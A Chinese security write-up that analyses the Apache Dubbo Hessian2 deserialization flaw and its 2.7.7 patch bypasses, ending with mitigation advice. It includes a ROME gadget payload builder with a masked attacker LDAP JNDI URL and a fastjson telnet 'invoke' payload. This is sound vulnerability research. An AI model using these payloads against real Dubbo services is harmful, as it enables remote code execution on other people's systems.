Apache Dubbo 反序列化漏洞

  • A+
所属分类:安全漏洞

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

漏洞描述

开篇之前,我已经把绕过思路都写清楚了,基本上涵盖了目前绕过思路,无非两种,一种寻找toString触发,一种寻找readObject入口,后面可以慢慢看。
dubbo于2020年6月22日更新了一个 hessian2 反序列化的漏洞,影响版本:

Dubbo 2.7.0 to 2.7.6
Dubbo 2.6.0 to 2.6.7
Dubbo all 2.5.x versions (not supported by official team any longer)

No.3

环境搭建

服务端

public class A implements Serializable {

    String name = "l1nk3r";

    public String getName() {

        return name;

    }

    public void setName(String name) {

        this.name = name;

    }

}

public interface DemoService {

    String hello(A a);

    Object Sayhello(Object o);

}

public class DemoServiceImpl implements DemoService {

    public String hello(A a) {

        return "hello! " + a.getName();

    }

    public Object Sayhello(Object o) {

        return "hello! ";

    }

}

public class Provider {

    public static void main(String[] args) {

        new ClassPathXmlApplicationContext("dubbo-provider.xml");

        while (true);

    }

//dubbo-provider.xml

<?xml version="1.0" encoding="UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:dubbo="http://dubbo.apache.org/schema/dubbo"      xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://dubbo.apache.org/schema/dubbo http://dubbo.apache.org/schema/dubbo/dubbo.xsd">

    <!-- 提供方应用信息,用于计算依赖关系 -->

    <dubbo:application name="dubbo-service" />

    <!-- 使用multicast广播注册中心暴露服务地址 -->

    <!-- <dubbo:registry address="multicast://***.*.*.*:****" /> -->

    <!-- 使用zookeeper注册中心暴露服务地址 -->

    <dubbo:registry address="zookeeper://***.*.*.*:****" />


    <!-- 用dubbo协议在20881端口暴露服务 -->

    <dubbo:protocol name="dubbo" port="*****" />

    <!-- 声明需要暴露的服务接口 -->

    <dubbo:service interface="com.l1nk3r.dubbo.DemoService"

                   ref="demoService" />


    <!-- 和本地bean一样实现服务 -->

    <bean id="demoService" class="com.l1nk3r.dubbo.DemoServiceImpl" />

</beans>

客户端

public class Consumer {

    public static void main(String[] args) {

        ApplicationContext applicationContext = new ClassPathXmlApplicationContext("dubbo-consumer.xml");

        DemoService demoService = (DemoService) applicationContext.getBean("demoService");

 System.out.println(demoService.hello(new A()));

    }

}

No.4

漏洞分析

1、readobject入口

dubbo 的 org.apache.dubbo.remoting.transport.DecodeHandler# received 方法负责接收来自 socket 的连接,当请求的时候,会自动调用 DecodeHandler# decode 来处理传入的请求。

public void received(Channel channel, Object message) throws RemotingException {
...        

if (message instanceof Request) {                  this.decode(((Request)message).getData());
       }

跟进 DecodeHandler# decode 方法,由于接收的是RPC请求,因此会来到 DecodeableRpcInvocation# decode 处理 socket 传入的数据。

   private void decode(Object message) {

        if (message instanceof Decodeable) {

            try {

                ((Decodeable)message).decode();

Apache Dubbo 反序列化漏洞

在 DecodeableRpcInvocation# decode 方法中,会进一步调用 decode(Channel channel, InputStream input) 这个构造方法。

 public void decode() throws Exception {

        if (!this.hasDecoded && this.channel != null && this.inputStream != null) {

            try {

                this.decode(this.channel, this.inputStream);

跟进 decode(Channel channel, InputStream input) 这个构造方法,核心触发点代码就是下面这些了,先分别来看看。

 public Object decode(Channel channel, InputStream input) throws IOException {

        ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

        ..

                for(int i = 0; i < args.length; ++i) {

                    try {

                        args[i] = in.readObject(pts[i]);

先看下面这段代码:

ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

这段代码首先会从channel.getUrl()中获取下列内容

dubbo://**.**.**.***:*****/com.l1nk3r.dubbo.DemoService?anyhost=true&application=dubbo-service&bind.ip=**.**.**.***&bind.port=*****&channel.readonly.sent=true&codec=dubbo&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&heartbeat=60000&interface=com.l1nk3r.dubbo.DemoService&methods=Sayhello,hello&pid=63947&release=2.7.6&side=provider&threadname=DubboServerHandler-***.*.*.*:****&timestamp=1593580866485

而此时的this.serializationType结果为2,进入CodecSupport.getSerialization进行处理。

Apache Dubbo 反序列化漏洞

此时的 serialization 对象会根据刚刚的this.serializationType进入到map进行查找,不同的id对应不同的 Serialization ,这里的结果是14个。它们分别是

Apache Dubbo 反序列化漏洞

2-->"o[email protected]2685de5c",

3-->"[email protected]3",

4-->"or[email protected]17699a12",

6-->"o[email protected]4e5571bb",

7-->"org.a[email protected]46aa2113",

8-->"[email protected]6",

9-->"[email protected]f",

10-->"[email protected]0",

11-->"[email protected]0",

12-->"org.a[email protected]5fec75c9",

16-->"[email protected]",

21-->"org.apache.dubbo.com[email protected]51e7f5a3",

22-->"org.apache.dubbo[email protected]33394814",

25-->"org.[email protected]f473187"

然后会调用进入url.getParameter("serialization", "hessian2"),最后满足if判断的情况下就会返回hessian2.Hessian2Serialization这个对象

   public static Serialization getSerialization(URL url, Byte id) throws IOException {

        Serialization serialization = getSerializationById(id);

        String serializationName = url.getParameter("serialization", "hessian2");

        if (serialization != null && (id != 3 && id != 7 && id != 4 || serializationName.equals(ID_SERIALIZATIONNAME_MAP.get(id)))) {

            return serialization;

跟进url.getParameter("serialization", "hessian2"),这里会有一个getParameter(key),而这个key正是我们前面url中的 serialization ,但是很有趣的一点,我们的url中是没有这个 Parameter ,也就是说当满足StringUtils.isEmpty(value)这个判断的情况下,返回结果自然是 defaultValue 也就是传入的 hessian2。从这里也可以知道dubbo这个协议默认是走 hessian2 的。

public String getParameter(String key, String defaultValue) {
       String value = this.getParameter(key);        return StringUtils.isEmpty(value) ? defaultValue : value;
   }

这里过程都处理完之后,就来到DecodeableRpcInvocation 的 decode(Channel channel, InputStream input) 这个构造方法漏洞的入口 readobject 了,而这里的 in 对象实际上就是我们前面返回的hessian2.Hessian2Serialization对象。

 public Object decode(Channel channel, InputStream input) throws IOException {

      ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);

      ...

                for(int i = 0; i < args.length; ++i) {

                    try {

                        args[i] = in.readObject(pts[i]);

进一步跟进来到的就是 hessian2.Hessian2ObjectInput# readObject 方法了。

  public <T> T readObject(Class<T> cls) throws IOException, ClassNotFoundException {

        return this.mH2i.readObject(cls);

    }

继续一直跟进会来到 Hessian2Input 这个方法中的readObject(List<Class<?>> expectedTypes)构造方法,在这个方法里的 case 72 就是本次漏洞的核心点触发点map。

case 72:

            boolean keyValuePair = expectedTypes != null && expectedTypes.size() == 2;

            reader = this.findSerializerFactory().getDeserializer(Map.class);

            return reader.readMap(this, keyValuePair ? (Class)expectedTypes.get(0) : null, keyValuePair ? (Class)expectedTypes.get(1) : null);

继续跟进reader.readMap,这里会调用 MapDeserializer# readMap 进行处理。

Apache Dubbo 反序列化漏洞

继续跟进这个 MapDeserializer# doReadMap 就可以看到了,这里调用的 map.put ,后面再来说这个东西有啥用。

Apache Dubbo 反序列化漏洞

先看一下 rome 这个 gadget

private static Object getPayload() throws Exception {
       String jndiUrl = "ldap://***.*.*.*:****/******";
       ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, JDKUtil.makeJNDIRowSet(jndiUrl));
       EqualsBean root = new EqualsBean(ToStringBean.class,item);        return JDKUtil.makeMap(root,root);
   }

首先创建了一个 ToStringBean 的 item ,将 beanClass 设置为了 JdbcRowSetImpl ,obj设置为放入JNDI地址的 JdbcRowSetImpl 对象。

 public ToStringBean(Class<?> beanClass, Object obj) {

        this.beanClass = beanClass;

        this.obj = obj;

 public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {

        JdbcRowSetImpl rs = new JdbcRowSetImpl();

        rs.setDataSourceName(jndiUrl);

        rs.setMatchColumn("foo");

        Reflections.getField(BaseRowSet.class, "listeners").set(rs, (Object)null);

        return rs;

    }

其次创建一个 EqualsBean ,把前面那个item放进去。

 public EqualsBean(Class<?> beanClass, Object obj) {

        if (!beanClass.isInstance(obj)) {

            throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);

        } else {

            this.beanClass = beanClass;

            this.obj = obj;

        }

    }

最后通过 **JDKUtil.makeMap** 反射构造数组的方式,防止在放入root对象的时候触发put方法导致出发利用代码。

 public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception {

        HashMap<Object, Object> s = new HashMap();

        Reflections.setFieldValue(s, "size", 2);


        Class nodeC;

        try {

            nodeC = Class.forName("java.util.HashMap$Node");

        } catch (ClassNotFoundException var6) {

            nodeC = Class.forName("java.util.HashMap$Entry");

        }


        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC);

        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);

        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));

        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));

        Reflections.setFieldValue(s, "table", tbl);

        return s;

    }

这里为什么会样呢,原因就在于 ToStringBean 有个 toString 方法,这个方法会根据 beanClass 的 getter 构造方法。

 private String toString(String prefix) {

        StringBuffer sb = new StringBuffer(128);


        try {

            List<PropertyDescriptor> propertyDescriptors = BeanIntrospector.getPropertyDescriptorsWithGetters(this.beanClass);

            Iterator var10 = propertyDescriptors.iterator();


            while(var10.hasNext()) {

                PropertyDescriptor propertyDescriptor = (PropertyDescriptor)var10.next();

                String propertyName = propertyDescriptor.getName();

                Method getter = propertyDescriptor.getReadMethod();

                Object value = getter.invoke(this.obj, NO_PARAMS);

                this.printProperty(sb, prefix + "." + propertyName, value);

            }

而在 EqualBean 里有个 hashCode 方法,这个方法会调用obj对象的toString方法。

  public int hashCode() {

        return this.beanHashCode();

    }


    public int beanHashCode() {

        return this.obj.toString().hashCode();

    }

好了再回到dubbo当中,我们刚刚知道 MapDeserializer# doReadMap 会调用的 map.put ,在跟进 map.put 我们会看到这里会调用hash(key),来进行计算,而这个计算方法,自然会调用key对象的 hashCode 方法,假设key对象是 EqualBean ,那么这里的利用链自然就串起来了。

 public V put(K key, V value) {

        return putVal(hash(key), key, value, false, true);

    }


    static final int hash(Object key) {

        int h;

        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);

    }

下面就是调用栈了,很遗憾,这个点实际上修复的并不完全,依然在2.7.7上可以利用。

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)

hashCode:180, EqualsBean (com.rometools.rome.feed.impl)

hash:338, HashMap (java.util)

put:611, HashMap (java.util)

doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readObject:2703, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2278, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2080, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2074, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:92, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)

decode:139, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

decode:79, DecodeableRpcInvocation (org.apache.dubbo.rpc.protocol.dubbo)

decode:57, DecodeHandler (org.apache.dubbo.remoting.transport)

received:44, DecodeHandler (org.apache.dubbo.remoting.transport)

2、toString入口

这个入口的POC实际上被公开了,应该算是dubbo自己有问题,把提交者邮件正文内容全部公开,这条链走的实际上并不是 readObject 入口,而是 toString 口,我们来细看一下,前面的流程都和 readObject 入口一致,前面也是经过 DecodeHandler# decode 进行解码操作,最后来到 DecodeableRpcInvocation# decode 这个方法中,下面代码是核心触发点。

   for(int i = 0; i < args.length; ++i) {

                args[i] = CallbackServiceCodec.decodeInvocationArgument(channel, this, pts, i, args[i]);

            }

跟进 decodeInvocationArgument 方法,重点可以看看DubboProtocol.getDubboProtocol().getInvoker

  public static Object decodeInvocationArgument(Channel channel, RpcInvocation inv, Class<?>[] pts, int paraIndex, Object inObject) throws IOException {

        URL url = null;


        try {

            url = DubboProtocol.getDubboProtocol().getInvoker(channel, inv).getUrl();

        } catch (RemotingException var10) {

            if (logger.isInfoEnabled()) {

                logger.info(var10.getMessage(), var10);

            }


            return inObject;

        }

在 getInvoker 当中,针对inv进行了 getInvocationWithoutData 的处理。

 Invoker<?> getInvoker(Channel channel, Invocation inv) throws RemotingException {

...

        if (exporter == null) {

            throw new RemotingException(channel, "Not found exported service: " + serviceKey + " in " + this.exporterMap.keySet() + ", may be version or group mismatch , channel: consumer: " + channel.getRemoteAddress() + " --> provider: " + channel.getLocalAddress() + ", message:" + this.getInvocationWithoutData(inv));

        } else {

            return exporter.getInvoker();

        }

    }

跟进 getInvocationWithoutData 的处理,这里有个判断,当 logger 不是 debug 状态的时候,将 Arguments 设置为空。

 private Invocation getInvocationWithoutData(Invocation invocation) {

        if (this.logger.isDebugEnabled()) {

            return invocation;

        } else if (invocation instanceof RpcInvocation) {

            RpcInvocation rpcInvocation = (RpcInvocation)invocation;

            rpcInvocation.setArguments((Object[])null);

            return rpcInvocation;

        } else {

            return invocation;

        }

    }

那这里就有个疑惑了,如果已经处理了,为什么在2.7.6上用这个poc依然能够攻击成功呢。

Apache Dubbo 反序列化漏洞

为了解决这个疑惑,我们来分别看看,当前环境下的 DecodeableRpcInvocation 确实是满足继承 RpcInvocation 。

Apache Dubbo 反序列化漏洞

为了达到这段代码效果,手动将 Arguments 设置为 null ,实际经过这么处理之后,确实是不会触发的。

Apache Dubbo 反序列化漏洞

这就很纳闷了,在我不设置日志级别的情况下会触发。

Apache Dubbo 反序列化漏洞

在我设置了日志级别的情况下,不会触发,所以这里小心求证,应该是不设置日志级别的情况下,默认是debug。

Apache Dubbo 反序列化漏洞

当然这条链的最后调用栈如下所示。

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

invoke0:-1, NativeMethodAccessorImpl (sun.reflect)

invoke:62, NativeMethodAccessorImpl (sun.reflect)

invoke:43, DelegatingMethodAccessorImpl (sun.reflect)

invoke:498, Method (java.lang.reflect)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

valueOf:2994, String (java.lang)

toString:4571, Arrays (java.util)

toString:429, RpcInvocation (org.apache.dubbo.rpc)

valueOf:2994, String (java.lang)

append:131, StringBuilder (java.lang)

getInvoker:265, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)

reply:120, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)

handleRequest:100, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:175, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:51, DecodeHandler (org.apache.dubbo.remoting.transport)

run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

runWorker:1142, ThreadPoolExecutor (java.util.concurrent)

run:617, ThreadPoolExecutor$Worker (java.util.concurrent)

run:745, Thread (java.lang)

No.5

补丁以及绕过

在2.7.7当中,dubbo增加了一段代码。

Apache Dubbo 反序列化漏洞

if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {

                        throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());

                    }

当这段代码逻辑有点问题,也就说只要 method 匹配 invoke ,invokeAsync ,echo,让!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())这个逻辑判断为 false 可以绕过,这里的判断应该是为了判断方法名字和路径一致增加的吧。

 public static boolean isGenericCall(String path, String method) {

        return "$invoke".equals(method) || "$invokeAsync".equals(method);

    }


        public static boolean isEcho(String path, String method) {

        return "$echo".equals(method);

    }

前面我们提到过的,在 getInvocationWithoutData 当中也处理了一条链。

1、寻找新的readObject入口

这个 gadget 来自 @threedr3am 师傅的之前dubbo攻击 hessian2 文章中,核心思路他找到了一条新的 readObject ,来自 org.apache.dubbo.common.serialize.readEvent 当中。

其实我觉得核心思路在这里 DubboCodec# decodeBody 。当req.isEvent()结果为true的时候,就会进入这个if逻辑进行操作。

 protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {

    ...

            try {

                Object data;

                if (req.isEvent()) {

                    in = CodecSupport.deserialize(channel.getUrl(), is, proto);

                    data = this.decodeEventData(channel, in);

而 isEvent 主要是返回 this.mEvent 的值。

 public boolean isEvent() {

        return this.mEvent;

    }

这个 this.mEvent 的值是怎么来的,继续往下看,flag 是 header[2] 数组的值,这里是request请求,没有什么疑问前面也提到了,所以会进来这里进行处理。这个做了一个(flag & 32) != 0的逻辑判断,如果是true的情况下,就会将调用 setEvent 方法。

   protected Object decodeBody(Channel channel, InputStream is, byte[] header) throws IOException {

        byte flag = header[2];

        ...

        } else {

            Request req = new Request(id);

            req.setVersion(Version.getProtocolVersion());

            req.setTwoWay((flag & 64) != 0);

            if ((flag & 32) != 0) {

                req.setEvent(true);

            }

在 setEvent(boolean mEvent) 构造方法中,可以清楚看到这里的结果是true,因此自然会回到上面的流程中,进行 decodeEventData 处理了。

 public void setEvent(boolean mEvent) {

        this.mEvent = mEvent;

    }

这里再提一点,如果req.isEvent()为false的情况下,就会来到下面的操作了,这里和之前的出发点非常相似。

DecodeableRpcInvocation inv;

                    if (channel.getUrl().getParameter("decode.in.io", false)) {

                        inv = new DecodeableRpcInvocation(channel, req, is, proto);

                        inv.decode();

                    } else {

                        inv = new DecodeableRpcInvocation(channel, req, new UnsafeByteArrayInputStream(this.readMessageData(is)), proto);

                    }


                    data = inv;

跟进 ExchangeCodec# decodeEventData 之后会直接 return 调用 ObjectInput# readEvent 方法。

protected Object decodeEventData(Channel channel, ObjectInput in) throws IOException {

        try {

            return in.readEvent();

        } catch (ClassNotFoundException | IOException var4) {

            throw new IOException(StringUtils.toString("Decode dubbo protocol event failed.", var4));

        }

    }

再继续跟进 ObjectInput# readEvent 方法就会来到readObject入口了,这里就和前面漏洞提交的触发利用链一致了。

 default Object readEvent() throws IOException, ClassNotFoundException {

        return this.readObject();

    }

这里再提一点, @threedr3am 师傅为了满足进入这个逻辑进行触发,做了一些特殊的header处理。这里我们可以看到 flag 的byte为-94,proto的byte为2,前面我们提过2-->"org.apache.dubbo.common.serialize.hessian2.Hessian2Serialization。

Apache Dubbo 反序列化漏洞
Apache Dubbo 反序列化漏洞

调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)

getDatabaseMetaData:4004, JdbcRowSetImpl (com.sun.rowset)

toString:158, ToStringBean (com.rometools.rome.feed.impl)

toString:129, ToStringBean (com.rometools.rome.feed.impl)

beanHashCode:198, EqualsBean (com.rometools.rome.feed.impl)

hashCode:180, EqualsBean (com.rometools.rome.feed.impl)

hash:338, HashMap (java.util)

put:611, HashMap (java.util)

doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)

readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

readObject:93, Hessian2ObjectInput (org.apache.dubbo.common.serialize.hessian2)

readEvent:83, ObjectInput (org.apache.dubbo.common.serialize)

decodeEventData:400, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decodeBody:122, DubboCodec (org.apache.dubbo.rpc.protocol.dubbo)

decode:122, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decode:82, ExchangeCodec (org.apache.dubbo.remoting.exchange.codec)

decode:48, DubboCountCodec (org.apache.dubbo.rpc.protocol.dubbo)

decode:85, NettyCodecAdapter$InternalDecoder (org.apache.dubbo.remoting.transport.netty4)

No.6

后话

期间在调试过程中,发现一些师傅发了一种利用telnet直接连接端口配合 fastjson 执行的情况。

invoke com.baidu.hellofastjson("aa",{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://***.*.*.*:****/chober","autoCommit":true}}, "poc":11})

Apache Dubbo 反序列化漏洞

核心点在这里 HeaderExchangeHandler# received ,遇到message instanceof String的情况,就会转发到 TelnetHandlerAdapter# telnet 方法进行处理

   public void received(Channel channel, Object message) throws RemotingException {

        ExchangeChannel exchangeChannel = HeaderExchangeChannel.getOrAddChannel(channel);

        if (message instanceof Request) {

            Request request = (Request)message;

            if (request.isEvent()) {

                this.handlerEvent(channel, request);

            } else if (request.isTwoWay()) {

                this.handleRequest(exchangeChannel, request);

            } else {

                this.handler.received(exchangeChannel, request.getData());

            }

        } else if (message instanceof Response) {

            handleResponse(channel, (Response)message);

        } else if (message instanceof String) {

            if (isClientSide(channel)) {

                Exception e = new Exception("Dubbo client can not supported string message: " + message + " in channel: " + channel + ", url: " + channel.getUrl());

                logger.error(e.getMessage(), e);

            } else {

                String echo = this.handler.telnet(channel, (String)message);

                if (echo != null && echo.length() > 0) {

                    channel.send(echo);

                }

            }

        } else {

            this.handler.received(exchangeChannel, message);

        }

跟进 TelnetHandlerAdapter# telnet 获取前缀dubbo>中内容。

public String telnet(Channel channel, String message) throws RemotingException {

    String prompt = channel.getUrl().getParameterAndDecoded("prompt", "dubbo>");

...

    if (command.length() > 0) {

        if (this.extensionLoader.hasExtension(command)) {

            if (this.commandEnabled(channel.getUrl(), command)) {

                try {

                    String result = ((TelnetHandler)this.extensionLoader.getExtension(command)).telnet(channel, message);


Apache Dubbo 反序列化漏洞

在extensionLoader.hasExtension(command)会进行处理,当出现时 invoke 关键字的时候,自然是进入org.apache.dubbo.qos.legacy.InvokeTelnetHandler处理。

Apache Dubbo 反序列化漏洞

还有一些其他方法。

ls=org.apache.dubbo.qos.legacy.ListTelnetHandler

ps=org.apache.dubbo.qos.legacy.PortTelnetHandler

cd=org.apache.dubbo.qos.legacy.ChangeTelnetHandler

pwd=org.apache.dubbo.qos.legacy.CurrentTelnetHandler

invoke=org.apache.dubbo.qos.legacy.InvokeTelnetHandler

trace=org.apache.dubbo.qos.legacy.TraceTelnetHandler

count=org.apache.dubbo.qos.legacy.CountTelnetHandler

select=org.apache.dubbo.qos.legacy.SelectTelnetHandler

shutdown=org.apache.dubbo.qos.legacy.ShutdownTelnetHandler

在 InvokeTelnetHandler# telnet 会触发 JSON.parseArray 操作,如果是低版本 fastjson ,你懂的。

public String telnet(Channel channel, String message) {

        if (StringUtils.isEmpty(message)) {

        ...

                try {

                    list = JSON.parseArray("[" + args + "]", Object.class);

附上到这里的调用栈

connect:624, JdbcRowSetImpl (com.sun.rowset)

setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

...

parseArray:535, JSON (com.alibaba.fastjson)

telnet:81, InvokeTelnetHandler (org.apache.dubbo.qos.legacy)

telnet:59, TelnetHandlerAdapter (org.apache.dubbo.remoting.telnet.support)

received:187, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)

received:51, DecodeHandler (org.apache.dubbo.remoting.transport)

run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)

runWorker:1142, ThreadPoolExecutor (java.util.concurrent)

run:617, ThreadPoolExecutor$Worker (java.util.concurrent)

run:745, Thread (java.lang)

最后再提一嘴,这个漏洞配合spring的gadget是非常香的,因为dubbo的demo也是自带的。:

No.7

修复建议

• 出网限制

经研究当前存在的反序列化利用链大多需要远程加载恶意类,如果没有特殊需求,建议在不影响业务的情况下将服务器配置出外网限制。

• IP白名单

建议用户将能够连接至Dubbo服务端的消费端IP加入到可信IP白名单里,并在服务端配置可信IP白名单,以防止攻击者在外部直接发起连接请求。

• 更换默认的反序列化方式

Dubbo协议默认采用Hessian作为序列化反序列化方式,而Hessian存在危险的反序列化漏洞。用户可以在考虑不影响业务的情况下更换协议以及反序列化方式,如:rest,grpc,thrift等。

• 关闭公网端口

不要将Dubbo服务端的开放端口暴露在公网,但需要注意这种场景若攻击者在内网环境仍然可以进行攻击。


Apache Dubbo 反序列化漏洞
转了吗
Apache Dubbo 反序列化漏洞
赞了吗
Apache Dubbo 反序列化漏洞
在看吗


本文始发于微信公众号(爱国小白帽):Apache Dubbo 反序列化漏洞

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: